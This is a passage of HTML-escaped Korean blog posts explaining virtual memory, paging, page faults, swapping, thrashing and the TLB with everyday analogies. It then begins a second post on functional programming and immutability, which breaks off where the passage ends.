/&gt;50GB짜리&amp;nbsp;대형&amp;nbsp;게임을&amp;nbsp;실행한다고&amp;nbsp;해서,&amp;nbsp;**그&amp;nbsp;게임의&amp;nbsp;모든&amp;nbsp;그래픽&amp;nbsp;데이터와&amp;nbsp;음악,&amp;nbsp;맵&amp;nbsp;전체를&amp;nbsp;1초&amp;nbsp;만에&amp;nbsp;전부&amp;nbsp;다&amp;nbsp;읽을&amp;nbsp;필요는&amp;nbsp;없습니다.** &lt;br /&gt;지금&amp;nbsp;플레이어가&amp;nbsp;위치한&amp;nbsp;'마을&amp;nbsp;맵'과&amp;nbsp;'주인공&amp;nbsp;캐릭터&amp;nbsp;데이터'&amp;nbsp;단&amp;nbsp;몇&amp;nbsp;백&amp;nbsp;메가바이트만&amp;nbsp;당장&amp;nbsp;책상(RAM)&amp;nbsp;위에&amp;nbsp;올려두고,&amp;nbsp;아직&amp;nbsp;가보지도&amp;nbsp;않은&amp;nbsp;'최종&amp;nbsp;보스&amp;nbsp;던전&amp;nbsp;맵'은&amp;nbsp;지하&amp;nbsp;서고(SSD)에&amp;nbsp;잠시&amp;nbsp;놓아두면&amp;nbsp;됩니다. &lt;br /&gt;&lt;br /&gt;이처럼&amp;nbsp;**&quot;프로그램에게는&amp;nbsp;무한대에&amp;nbsp;가까운&amp;nbsp;가상의&amp;nbsp;넓은&amp;nbsp;방(가상&amp;nbsp;메모리)을&amp;nbsp;제공하고,&amp;nbsp;실제로는&amp;nbsp;지금&amp;nbsp;당장&amp;nbsp;필요한&amp;nbsp;조각만&amp;nbsp;물리&amp;nbsp;RAM에&amp;nbsp;올렸다&amp;nbsp;내렸다&amp;nbsp;하는&amp;nbsp;영리한&amp;nbsp;기술&quot;**이&amp;nbsp;가상&amp;nbsp;메모리의&amp;nbsp;핵심입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;페이징(Paging)&amp;nbsp;-&amp;nbsp;프로그램을&amp;nbsp;규격화된&amp;nbsp;책&amp;nbsp;페이지로&amp;nbsp;쪼개다 &lt;br /&gt;&lt;br /&gt;그렇다면&amp;nbsp;운영체제는&amp;nbsp;거대한&amp;nbsp;프로그램을&amp;nbsp;어떻게&amp;nbsp;메모리에&amp;nbsp;효율적으로&amp;nbsp;나누어&amp;nbsp;담을까요? &lt;br /&gt;&lt;br /&gt;과거에는&amp;nbsp;프로그램&amp;nbsp;덩어리&amp;nbsp;전체를&amp;nbsp;통째로&amp;nbsp;연속된&amp;nbsp;메모리&amp;nbsp;공간에&amp;nbsp;집어넣으려고&amp;nbsp;했습니다.&amp;nbsp;이를&amp;nbsp;'연속&amp;nbsp;메모리&amp;nbsp;할당'이라고&amp;nbsp;불렀는데,&amp;nbsp;프로그램을&amp;nbsp;넣고&amp;nbsp;빼는&amp;nbsp;과정에서&amp;nbsp;메모리&amp;nbsp;사이에&amp;nbsp;자투리&amp;nbsp;빈&amp;nbsp;공간(외부&amp;nbsp;단편화)이&amp;nbsp;생겨&amp;nbsp;심각한&amp;nbsp;메모리&amp;nbsp;낭비가&amp;nbsp;발생했습니다. &lt;br /&gt;&lt;br /&gt;현대&amp;nbsp;운영체제는&amp;nbsp;이&amp;nbsp;문제를&amp;nbsp;**페이징(Paging)**&amp;nbsp;기법으로&amp;nbsp;완벽히&amp;nbsp;해결했습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;가상&amp;nbsp;메모리&amp;nbsp;공간&amp;nbsp;(가상&amp;nbsp;주소)&amp;nbsp;]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;RAM&amp;nbsp;(물리&amp;nbsp;주소)&amp;nbsp;] &lt;br /&gt;+----------------------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Page&amp;nbsp;0&amp;nbsp;(4KB)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;───┐&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Frame&amp;nbsp;2&amp;nbsp;(물리&amp;nbsp;RAM&amp;nbsp;일부)| &lt;br /&gt;+----------------------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Page&amp;nbsp;1&amp;nbsp;(4KB)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;───┼───&amp;gt;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Frame&amp;nbsp;0&amp;nbsp;(Page&amp;nbsp;0&amp;nbsp;적재)&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+----------------------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Page&amp;nbsp;2&amp;nbsp;(4KB)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;───┼───&amp;gt;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Frame&amp;nbsp;5&amp;nbsp;(Page&amp;nbsp;2&amp;nbsp;적재)&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+----------------------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Page&amp;nbsp;3&amp;nbsp;(4KB)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;───┘&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;(비어있거나&amp;nbsp;다른&amp;nbsp;앱)&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+----------------------------+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+-------------------------+ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;└────────&amp;nbsp;[&amp;nbsp;페이지&amp;nbsp;테이블&amp;nbsp;]&amp;nbsp;───────────┘ &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**페이지(Page)**:&amp;nbsp;가상&amp;nbsp;메모리를&amp;nbsp;일정한&amp;nbsp;고정&amp;nbsp;크기(표준적으로&amp;nbsp;**4KB**)의&amp;nbsp;조각으로&amp;nbsp;자른&amp;nbsp;단위입니다. &lt;br /&gt;2.&amp;nbsp;**프레임(Frame)**:&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;RAM을&amp;nbsp;페이지와&amp;nbsp;똑같은&amp;nbsp;크기(4KB)로&amp;nbsp;바둑판처럼&amp;nbsp;나눈&amp;nbsp;단위입니다. &lt;br /&gt;3.&amp;nbsp;**페이지&amp;nbsp;테이블(Page&amp;nbsp;Table)**:&amp;nbsp;&quot;가상&amp;nbsp;주소의&amp;nbsp;Page&amp;nbsp;0번이&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;RAM의&amp;nbsp;Frame&amp;nbsp;몇&amp;nbsp;번에&amp;nbsp;들어가&amp;nbsp;있는가?&quot;를&amp;nbsp;1:1로&amp;nbsp;기록해&amp;nbsp;둔&amp;nbsp;내비게이션&amp;nbsp;지도입니다. &lt;br /&gt;&lt;br /&gt;이제&amp;nbsp;프로그램&amp;nbsp;조각들이&amp;nbsp;물리&amp;nbsp;RAM의&amp;nbsp;어느&amp;nbsp;위치에&amp;nbsp;뒤죽박죽&amp;nbsp;흩어져&amp;nbsp;저장되어&amp;nbsp;있더라도&amp;nbsp;아무&amp;nbsp;상관이&amp;nbsp;없습니다!&amp;nbsp; &lt;br /&gt;CPU는&amp;nbsp;단지&amp;nbsp;페이지&amp;nbsp;테이블&amp;nbsp;지도만&amp;nbsp;보고&amp;nbsp;번개처럼&amp;nbsp;찾아갈&amp;nbsp;수&amp;nbsp;있기&amp;nbsp;때문입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⚡&amp;nbsp;3.&amp;nbsp;페이지&amp;nbsp;폴트(Page&amp;nbsp;Fault)와&amp;nbsp;스왑(Swap)의&amp;nbsp;드라마 &lt;br /&gt;&lt;br /&gt;프로그램이&amp;nbsp;열심히&amp;nbsp;실행되다가,&amp;nbsp;마침내&amp;nbsp;아직&amp;nbsp;물리&amp;nbsp;RAM에&amp;nbsp;올라오지&amp;nbsp;않은&amp;nbsp;새로운&amp;nbsp;가상&amp;nbsp;메모리&amp;nbsp;페이지(예:&amp;nbsp;보스&amp;nbsp;던전&amp;nbsp;맵)를&amp;nbsp;읽으려고&amp;nbsp;하는&amp;nbsp;순간이&amp;nbsp;찾아옵니다. &lt;br /&gt;&lt;br /&gt;이때&amp;nbsp;어떤&amp;nbsp;일이&amp;nbsp;벌어질까요? &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;1.&amp;nbsp;CPU가&amp;nbsp;가상&amp;nbsp;주소&amp;nbsp;접근&amp;nbsp;시도 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;2.&amp;nbsp;MMU(메모리&amp;nbsp;관리&amp;nbsp;장치)가&amp;nbsp;페이지&amp;nbsp;테이블&amp;nbsp;확인 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;➔&amp;nbsp;&quot;어라?&amp;nbsp;이&amp;nbsp;페이지는&amp;nbsp;지금&amp;nbsp;물리&amp;nbsp;RAM에&amp;nbsp;없고&amp;nbsp;SSD에&amp;nbsp;있네?&quot;&amp;nbsp;(유효&amp;nbsp;비트&amp;nbsp;=&amp;nbsp;0) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;3.&amp;nbsp;CPU에게&amp;nbsp;인터럽트&amp;nbsp;신호&amp;nbsp;발생!&amp;nbsp;➔&amp;nbsp;[&amp;nbsp;페이지&amp;nbsp;폴트&amp;nbsp;(Page&amp;nbsp;Fault)&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;4.&amp;nbsp;운영체제(OS)가&amp;nbsp;하던&amp;nbsp;일을&amp;nbsp;멈추고&amp;nbsp;개입 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;➔&amp;nbsp;SSD(지하&amp;nbsp;서고)에서&amp;nbsp;해당&amp;nbsp;4KB&amp;nbsp;페이지를&amp;nbsp;읽어&amp;nbsp;물리&amp;nbsp;RAM의&amp;nbsp;빈&amp;nbsp;곳에&amp;nbsp;적재 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;5.&amp;nbsp;페이지&amp;nbsp;테이블에&amp;nbsp;&quot;이제&amp;nbsp;물리&amp;nbsp;RAM&amp;nbsp;몇&amp;nbsp;번에&amp;nbsp;있음!&quot;&amp;nbsp;갱신&amp;nbsp;후&amp;nbsp;CPU&amp;nbsp;재실행 &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**페이지&amp;nbsp;폴트(Page&amp;nbsp;Fault)**:&amp;nbsp;오류(Fault)라는&amp;nbsp;이름이&amp;nbsp;붙어있어&amp;nbsp;고장&amp;nbsp;같지만,&amp;nbsp;지극히&amp;nbsp;정상적인&amp;nbsp;과정입니다.&amp;nbsp;&quot;필요한&amp;nbsp;조각이&amp;nbsp;책상에&amp;nbsp;없으니&amp;nbsp;서고에서&amp;nbsp;가져오라&quot;고&amp;nbsp;OS에&amp;nbsp;신호를&amp;nbsp;주는&amp;nbsp;알람입니다. &lt;br /&gt;*&amp;nbsp;**스왑(Swapping)**:&amp;nbsp;만약&amp;nbsp;16GB&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;RAM이&amp;nbsp;이미&amp;nbsp;다른&amp;nbsp;앱들로&amp;nbsp;꽉&amp;nbsp;차서&amp;nbsp;빈자리가&amp;nbsp;없다면? &lt;br /&gt;&amp;nbsp;&amp;nbsp;OS는&amp;nbsp;현재&amp;nbsp;가장&amp;nbsp;오랫동안&amp;nbsp;쓰이지&amp;nbsp;않은&amp;nbsp;페이지(LRU&amp;nbsp;알고리즘&amp;nbsp;등)를&amp;nbsp;골라내어&amp;nbsp;SSD의&amp;nbsp;임시&amp;nbsp;저장소(**스왑&amp;nbsp;영역&amp;nbsp;/&amp;nbsp;가상&amp;nbsp;메모리&amp;nbsp;파일**)로&amp;nbsp;쫓아내고,&amp;nbsp;그&amp;nbsp;빈자리에&amp;nbsp;새&amp;nbsp;페이지를&amp;nbsp;채워&amp;nbsp;넣습니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp; &amp;nbsp;**컴퓨터가&amp;nbsp;갑자기&amp;nbsp;버벅거리는&amp;nbsp;'스로틀링/트래싱(Thrashing)'&amp;nbsp;현상**&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;gt;&amp;nbsp;너무&amp;nbsp;많은&amp;nbsp;무거운&amp;nbsp;프로그램을&amp;nbsp;동시에&amp;nbsp;켜두면,&amp;nbsp;OS가&amp;nbsp;실제&amp;nbsp;작업을&amp;nbsp;처리하는&amp;nbsp;시간보다&amp;nbsp;물리&amp;nbsp;RAM과&amp;nbsp;SSD&amp;nbsp;사이에서&amp;nbsp;페이지를&amp;nbsp;쫓아내고&amp;nbsp;가져오는&amp;nbsp;'스왑(Swap)'&amp;nbsp;작업에&amp;nbsp;CPU&amp;nbsp;시간을&amp;nbsp;전부&amp;nbsp;써버리는&amp;nbsp;대참사가&amp;nbsp;일어납니다.&amp;nbsp;이를&amp;nbsp;**스래싱(Thrashing)**이라고&amp;nbsp;부르며,&amp;nbsp;이때&amp;nbsp;우리는&amp;nbsp;&quot;컴퓨터가&amp;nbsp;멈췄다&quot;고&amp;nbsp;느끼게&amp;nbsp;됩니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;4.&amp;nbsp;MMU와&amp;nbsp;TLB&amp;nbsp;-&amp;nbsp;0.00000001초&amp;nbsp;만에&amp;nbsp;주소를&amp;nbsp;바꾸는&amp;nbsp;하드웨어 &lt;br /&gt;&lt;br /&gt;가상&amp;nbsp;주소를&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;주소로&amp;nbsp;매번&amp;nbsp;변환하려면&amp;nbsp;메모리에&amp;nbsp;있는&amp;nbsp;페이지&amp;nbsp;테이블을&amp;nbsp;두&amp;nbsp;번이나&amp;nbsp;조회해야&amp;nbsp;하므로&amp;nbsp;컴퓨터&amp;nbsp;속도가&amp;nbsp;반토막&amp;nbsp;날&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;이를&amp;nbsp;막기&amp;nbsp;위해&amp;nbsp;CPU&amp;nbsp;속에는&amp;nbsp;초고속&amp;nbsp;하드웨어&amp;nbsp;칩셋인&amp;nbsp;**MMU(Memory&amp;nbsp;Management&amp;nbsp;Unit)**와,&amp;nbsp;페이지&amp;nbsp;변환&amp;nbsp;지도를&amp;nbsp;미리&amp;nbsp;캐싱해&amp;nbsp;두는&amp;nbsp;초고속&amp;nbsp;캐시&amp;nbsp;메모리&amp;nbsp;**TLB(Translation&amp;nbsp;Lookaside&amp;nbsp;Buffer)**가&amp;nbsp;내장되어&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;TLB&amp;nbsp;덕분에&amp;nbsp;컴퓨터는&amp;nbsp;99%의&amp;nbsp;확률로&amp;nbsp;가상&amp;nbsp;주소를&amp;nbsp;물리&amp;nbsp;주소로&amp;nbsp;나노초&amp;nbsp;단위의&amp;nbsp;초광속&amp;nbsp;변환을&amp;nbsp;수행하며,&amp;nbsp;우리는&amp;nbsp;가상&amp;nbsp;메모리를&amp;nbsp;쓰고&amp;nbsp;있다는&amp;nbsp;사실조차&amp;nbsp;눈치채지&amp;nbsp;못합니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;5.&amp;nbsp;가상&amp;nbsp;메모리가&amp;nbsp;주는&amp;nbsp;가장&amp;nbsp;위대한&amp;nbsp;선물:&amp;nbsp;'완벽한&amp;nbsp;보안&amp;nbsp;격리' &lt;br /&gt;&lt;br /&gt;가상&amp;nbsp;메모리는&amp;nbsp;단순히&amp;nbsp;용량을&amp;nbsp;뻥튀기해&amp;nbsp;주는&amp;nbsp;기능에&amp;nbsp;그치지&amp;nbsp;않습니다.&amp;nbsp;소프트웨어&amp;nbsp;안정성에&amp;nbsp;있어서&amp;nbsp;가장&amp;nbsp;결정적인&amp;nbsp;기여를&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**프로세스&amp;nbsp;메모리&amp;nbsp;침범&amp;nbsp;불가**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;카카오톡과&amp;nbsp;엑셀이&amp;nbsp;동시에&amp;nbsp;실행&amp;nbsp;중일&amp;nbsp;때,&amp;nbsp;해킹&amp;nbsp;프로그램이&amp;nbsp;엑셀의&amp;nbsp;가상&amp;nbsp;메모리&amp;nbsp;주소를&amp;nbsp;훔쳐보려&amp;nbsp;해도&amp;nbsp;서로의&amp;nbsp;'페이지&amp;nbsp;테이블&amp;nbsp;지도'가&amp;nbsp;완전히&amp;nbsp;격리되어&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;남의&amp;nbsp;물리&amp;nbsp;메모리를&amp;nbsp;절대&amp;nbsp;훔쳐보거나&amp;nbsp;조작할&amp;nbsp;수&amp;nbsp;없습니다. &lt;br /&gt;*&amp;nbsp;**블루스크린의&amp;nbsp;최소화**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;한&amp;nbsp;프로그램이&amp;nbsp;버그로&amp;nbsp;엉뚱한&amp;nbsp;메모리&amp;nbsp;번지를&amp;nbsp;건드리면,&amp;nbsp;OS는&amp;nbsp;즉시&amp;nbsp;해당&amp;nbsp;프로그램에&amp;nbsp;'세그멘테이션&amp;nbsp;폴트(Segmentation&amp;nbsp;Fault)'를&amp;nbsp;던져&amp;nbsp;그&amp;nbsp;앱만&amp;nbsp;안전하게&amp;nbsp;강제&amp;nbsp;종료시키고,&amp;nbsp;컴퓨터&amp;nbsp;전체가&amp;nbsp;꺼지는&amp;nbsp;참사를&amp;nbsp;막아줍니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**가상&amp;nbsp;메모리**는&amp;nbsp;물리&amp;nbsp;RAM&amp;nbsp;용량의&amp;nbsp;한계를&amp;nbsp;극복하고,&amp;nbsp;프로그램에게&amp;nbsp;광활하고&amp;nbsp;독립적인&amp;nbsp;가상&amp;nbsp;공간을&amp;nbsp;제공하는&amp;nbsp;현대&amp;nbsp;OS의&amp;nbsp;핵심&amp;nbsp;기술이다. &lt;br /&gt;2.&amp;nbsp;**페이징(Paging)**을&amp;nbsp;통해&amp;nbsp;프로그램을&amp;nbsp;4KB&amp;nbsp;단위의&amp;nbsp;균일한&amp;nbsp;조각(Page)으로&amp;nbsp;쪼개어&amp;nbsp;물리&amp;nbsp;메모리(Frame)의&amp;nbsp;빈자리&amp;nbsp;어디든&amp;nbsp;자유롭게&amp;nbsp;채워&amp;nbsp;넣는다. &lt;br /&gt;3.&amp;nbsp;당장&amp;nbsp;필요한&amp;nbsp;조각만&amp;nbsp;RAM에&amp;nbsp;올리고&amp;nbsp;나머지는&amp;nbsp;SSD에&amp;nbsp;두었다가,&amp;nbsp;필요할&amp;nbsp;때&amp;nbsp;**페이지&amp;nbsp;폴트(Page&amp;nbsp;Fault)**를&amp;nbsp;통해&amp;nbsp;초고속으로&amp;nbsp;교체&amp;nbsp;적재한다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;가상&amp;nbsp;메모리를&amp;nbsp;통해&amp;nbsp;하나의&amp;nbsp;컴퓨터&amp;nbsp;안에서&amp;nbsp;프로세스들이&amp;nbsp;안전하고&amp;nbsp;풍요롭게&amp;nbsp;메모리를&amp;nbsp;쓰는&amp;nbsp;법을&amp;nbsp;배웠습니다.&amp;nbsp;그렇다면&amp;nbsp;**전&amp;nbsp;세계에&amp;nbsp;흩어진&amp;nbsp;수억&amp;nbsp;대의&amp;nbsp;컴퓨터들은&amp;nbsp;서로&amp;nbsp;어떻게&amp;nbsp;데이터를&amp;nbsp;손실&amp;nbsp;없이&amp;nbsp;초고속으로&amp;nbsp;주고받을&amp;nbsp;수&amp;nbsp;있을까요?** &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;인터넷&amp;nbsp;통신의&amp;nbsp;대동맥이자&amp;nbsp;웹&amp;nbsp;페이지&amp;nbsp;로딩&amp;nbsp;속도를&amp;nbsp;혁명적으로&amp;nbsp;바꾼&amp;nbsp;**[HTTP/2와&amp;nbsp;HTTP/3(QUIC)의&amp;nbsp;혁신&amp;nbsp;-&amp;nbsp;웹&amp;nbsp;속도가&amp;nbsp;3배&amp;nbsp;빨라진&amp;nbsp;비밀]**을&amp;nbsp;명쾌하게&amp;nbsp;파헤쳐&amp;nbsp;보겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;``` &lt;br /&gt;[동시성&amp;nbsp;버그의&amp;nbsp;일상적&amp;nbsp;비유] &lt;br /&gt;공동&amp;nbsp;통장에&amp;nbsp;잔고가&amp;nbsp;100만&amp;nbsp;원&amp;nbsp;있습니다. &lt;br /&gt;엄마와&amp;nbsp;아빠가&amp;nbsp;서로&amp;nbsp;다른&amp;nbsp;스마트폰으로&amp;nbsp;'동시에'&amp;nbsp;80만&amp;nbsp;원씩&amp;nbsp;인출&amp;nbsp;버튼을&amp;nbsp;눌렀습니다. &lt;br /&gt;순식간에&amp;nbsp;160만&amp;nbsp;원이&amp;nbsp;인출되고&amp;nbsp;통장&amp;nbsp;잔고는&amp;nbsp;마이너스&amp;nbsp;60만&amp;nbsp;원이&amp;nbsp;되어버렸습니다! &lt;br /&gt;도대체&amp;nbsp;언제,&amp;nbsp;누가,&amp;nbsp;어떻게&amp;nbsp;잔고&amp;nbsp;데이터를&amp;nbsp;바꾼&amp;nbsp;걸까요? &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;프로그램&amp;nbsp;안에서&amp;nbsp;여러&amp;nbsp;객체가&amp;nbsp;같은&amp;nbsp;데이터를&amp;nbsp;서로&amp;nbsp;수정하다&amp;nbsp;보니,&amp;nbsp;코드가&amp;nbsp;수만&amp;nbsp;줄로&amp;nbsp;늘어나면&amp;nbsp;**&quot;도대체&amp;nbsp;이&amp;nbsp;변수를&amp;nbsp;어디서&amp;nbsp;언제&amp;nbsp;바꿨는지&quot;**&amp;nbsp;아무도&amp;nbsp;추적할&amp;nbsp;수&amp;nbsp;없는&amp;nbsp;혼돈이&amp;nbsp;발생한&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;지옥&amp;nbsp;같은&amp;nbsp;버그를&amp;nbsp;근본적으로&amp;nbsp;박멸하기&amp;nbsp;위해&amp;nbsp;개발자들은&amp;nbsp;수학의&amp;nbsp;세계에서&amp;nbsp;오래전부터&amp;nbsp;잠자고&amp;nbsp;있던&amp;nbsp;하나의&amp;nbsp;고대&amp;nbsp;철학을&amp;nbsp;다시&amp;nbsp;깨웠습니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;처음부터&amp;nbsp;데이터를&amp;nbsp;절대&amp;nbsp;바꾸지&amp;nbsp;못하게&amp;nbsp;만들면,&amp;nbsp;데이터가&amp;nbsp;꼬이는&amp;nbsp;버그&amp;nbsp;자체가&amp;nbsp;태어날&amp;nbsp;수&amp;nbsp;없지&amp;nbsp;않을까?&quot;** &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;파격적인&amp;nbsp;역발상에서&amp;nbsp;출발하여&amp;nbsp;현대&amp;nbsp;자바스크립트,&amp;nbsp;리액트,&amp;nbsp;코틀린,&amp;nbsp;스위프트,&amp;nbsp;자바&amp;nbsp;등&amp;nbsp;거의&amp;nbsp;모든&amp;nbsp;최신&amp;nbsp;기술을&amp;nbsp;지배하고&amp;nbsp;있는&amp;nbsp;패러다임이&amp;nbsp;바로&amp;nbsp;**함수형&amp;nbsp;프로그래밍(Functional&amp;nbsp;Programming,&amp;nbsp;FP)**&amp;nbsp;입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;함수형의&amp;nbsp;제1&amp;nbsp;절대&amp;nbsp;원칙:&amp;nbsp;불변성(Immutability) &lt;br /&gt;&lt;br /&gt;함수형&amp;nbsp;프로그래밍에서&amp;nbsp;가장&amp;nbsp;중요한&amp;nbsp;첫&amp;nbsp;번째&amp;nbsp;기둥은&amp;nbsp;**불변성(Immutability)**,&amp;nbsp;즉&amp;nbsp;**&quot;한&amp;nbsp;번&amp;nbsp;만들어진&amp;nbsp;데이터는&amp;nbsp;영원히&amp;nbsp;변하지&amp;nbsp;않는다&quot;**는&amp;nbsp;원칙입니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;✏️&amp;nbsp;화이트로&amp;nbsp;덧칠하기&amp;nbsp;vs&amp;nbsp;새&amp;nbsp;종이에&amp;nbsp;다시&amp;nbsp;적기 &lt;br /&gt;&lt;br /&gt;우리가&amp;nbsp;일상에서&amp;nbsp;메모를&amp;nbsp;수정하는&amp;nbsp;두&amp;nbsp;가지&amp;nbsp;방법을&amp;nbsp;생각해&amp;nbsp;봅시다. &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**가변(Mutable)&amp;nbsp;방식**:&amp;nbsp;기존&amp;nbsp;종이에&amp;nbsp;적힌&amp;nbsp;글씨를&amp;nbsp;지우개나&amp;nbsp;수정테이프로&amp;nbsp;지우고&amp;nbsp;그&amp;nbsp;자리에&amp;nbsp;덧씁니다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;*문제점*:&amp;nbsp;옆&amp;nbsp;사람이&amp;nbsp;원본&amp;nbsp;메모를&amp;nbsp;읽고&amp;nbsp;있는&amp;nbsp;도중에&amp;nbsp;내가&amp;nbsp;지우개로&amp;nbsp;지워버리면,&amp;nbsp;옆&amp;nbsp;사람은&amp;nbsp;찢어진&amp;nbsp;종이를&amp;nbsp;보며&amp;nbsp;패닉에&amp;nbsp;빠집니다. &lt;br 